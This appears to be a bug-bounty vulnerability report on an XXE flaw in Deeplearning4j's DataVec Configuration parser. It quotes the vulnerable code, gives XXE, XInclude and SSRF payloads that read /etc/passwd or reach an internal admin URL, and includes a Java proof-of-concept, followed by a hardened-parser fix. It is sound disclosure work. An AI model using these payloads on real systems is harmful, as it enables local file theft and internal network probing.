Upload 03-dl4j-xxe-configuration-parser.md with huggingface_hub

03-dl4j-xxe-configuration-parser.md

@@ -0,0 +1,195 @@
+# XXE (XML External Entity) Injection in DataVec Configuration Parser
+
+## Target
+- **Project:** Eclipse Deeplearning4j (DL4J)
+- **Repository:** https://github.com/deeplearning4j/deeplearning4j
+- **Component:** `Configuration` (datavec-api module)
+- **Bounty Program:** huntr.com ($1,500 model format bounty)
+
+## Vulnerability Summary
+
+The `Configuration.loadResource()` method in DL4J's DataVec module parses XML configuration files using a `DocumentBuilderFactory` without disabling external entity resolution or DOCTYPE declarations. Furthermore, it explicitly enables XInclude processing (`setXIncludeAware(true)`), which compounds the attack surface. An attacker can craft a malicious XML configuration file that exfiltrates local file contents or performs server-side request forgery (SSRF) via XML external entities.
+
+## Severity
+- **HIGH** (CWE-611: Improper Restriction of XML External Entity Reference)
+- **CVSS 3.1:** 7.5
+
+## Affected Code
+
+**File:** `datavec/datavec-api/src/main/java/org/datavec/api/conf/Configuration.java`
+**Lines:** 1118-1159
+
+```java
+private void loadResource(Properties properties, Object name, boolean quiet) {
+    try {
+        DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();
+        //ignore all comments inside the xml file
+        docBuilderFactory.setIgnoringComments(true);
+
+        //allow includes in the xml file
+        docBuilderFactory.setNamespaceAware(true);
+        try {
+            docBuilderFactory.setXIncludeAware(true);  // DANGEROUS: enables XInclude processing
+        } catch (UnsupportedOperationException e) {
+            LOG.error("Failed to set setXIncludeAware(true) for parser " + docBuilderFactory + ":" + e, e);
+        }
+        DocumentBuilder builder = docBuilderFactory.newDocumentBuilder();
+        Document doc = null;
+        Element root = null;
+
+        if (name instanceof URL) {
+            URL url = (URL) name;
+            if (url != null) {
+                if (!quiet) {
+                    LOG.info("parsing " + url);
+                }
+                doc = builder.parse(url.toString());  // VULNERABLE: parses untrusted XML
+            }
+        } else if (name instanceof String) {
+            URL url = getResource((String) name);
+            if (url != null) {
+                if (!quiet) {
+                    LOG.info("parsing " + url);
+                }
+                doc = builder.parse(url.toString());  // VULNERABLE
+            }
+        } else if (name instanceof InputStream) {
+            try {
+                doc = builder.parse((InputStream) name);  // VULNERABLE
+            } finally {
+                ((InputStream) name).close();
+            }
+        }
+```
+
+**Missing protections -- none of these are set:**
+- `FEATURE_SECURE_PROCESSING`
+- Disabling `http://xml.org/sax/features/external-general-entities`
+- Disabling `http://xml.org/sax/features/external-parameter-entities`
+- Disabling `http://apache.org/xml/features/nonvalidating/load-external-dtd`
+- Disabling `http://apache.org/xml/features/disallow-doctype-decl`
+
+## Root Cause
+
+The code was adapted from Apache Hadoop's `Configuration` class (which historically also had XXE issues) and explicitly enables XInclude for feature richness, but never disables external entity processing. This allows the XML parser to resolve external entities (file://, http://, etc.) specified in attacker-controlled XML.
+
+## Attack Scenario
+
+1. An attacker provides a malicious XML configuration file (e.g., as part of a data pipeline configuration, or via a configuration resource URL):
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE configuration [
+  <!ENTITY xxe SYSTEM "file:///etc/passwd">
+]>
+<configuration>
+  <property>
+    <name>exfiltrated</name>
+    <value>&xxe;</value>
+  </property>
+</configuration>
+```
+
+2. When DL4J processes this configuration via `Configuration.addResource()` followed by `get()`, the XML parser resolves the external entity, reading `/etc/passwd`.
+
+3. The file contents are stored as a property value, accessible to the attacker if error messages or property values are exposed.
+
+**XInclude variant (even more dangerous since XInclude is explicitly enabled):**
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<configuration xmlns:xi="http://www.w3.org/2001/XInclude">
+  <property>
+    <name>exfiltrated</name>
+    <value><xi:include href="file:///etc/passwd" parse="text"/></value>
+  </property>
+</configuration>
+```
+
+**SSRF variant:**
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE configuration [
+  <!ENTITY xxe SYSTEM "http://internal-service:8080/admin/secret">
+]>
+<configuration>
+  <property>
+    <name>data</name>
+    <value>&xxe;</value>
+  </property>
+</configuration>
+```
+
+## Proof of Concept
+
+```java
+import org.datavec.api.conf.Configuration;
+import java.io.*;
+
+public class XXEExploit {
+    public static void main(String[] args) throws Exception {
+        String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
+            "<!DOCTYPE configuration [\n" +
+            "  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
+            "]>\n" +
+            "<configuration>\n" +
+            "  <property>\n" +
+            "    <name>stolen</name>\n" +
+            "    <value>&xxe;</value>\n" +
+            "  </property>\n" +
+            "</configuration>";
+
+        Configuration conf = new Configuration(false);
+        conf.addResource(new ByteArrayInputStream(maliciousXml.getBytes()));
+
+        // The file contents are now available as a configuration property
+        String stolen = conf.get("stolen");
+        System.out.println("Exfiltrated: " + stolen);
+    }
+}
+```
+
+## Usage Context
+
+The `Configuration` class is used throughout DL4J's DataVec data pipeline:
+- Loading data pipeline configurations
+- Configuring record readers and writers
+- Setting up data transformation pipelines
+- The class is modeled after Hadoop's Configuration and accepts resources from URLs, classpath, and InputStreams
+
+## Impact
+
+- **Local File Disclosure:** Read any file accessible to the JVM process (e.g., `/etc/passwd`, application configuration files, private keys).
+- **Server-Side Request Forgery (SSRF):** Make HTTP requests to internal services from the server running DL4J.
+- **Denial of Service:** Via billion-laughs XML entity expansion attacks.
+- **Data Exfiltration:** In contexts where property values are returned to external systems.
+
+## Recommended Fix
+
+Disable external entity processing and DOCTYPE declarations:
+
+```java
+private void loadResource(Properties properties, Object name, boolean quiet) {
+    try {
+        DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();
+
+        // Prevent XXE attacks
+        docBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
+        docBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
+        docBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
+        docBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
+        docBuilderFactory.setXIncludeAware(false);  // Disable XInclude
+        docBuilderFactory.setExpandEntityReferences(false);
+
+        docBuilderFactory.setIgnoringComments(true);
+        docBuilderFactory.setNamespaceAware(true);
+
+        DocumentBuilder builder = docBuilderFactory.newDocumentBuilder();
+        // ... rest of method
+```
+
+## References
+
+- CWE-611: Improper Restriction of XML External Entity Reference
+- https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
+- https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)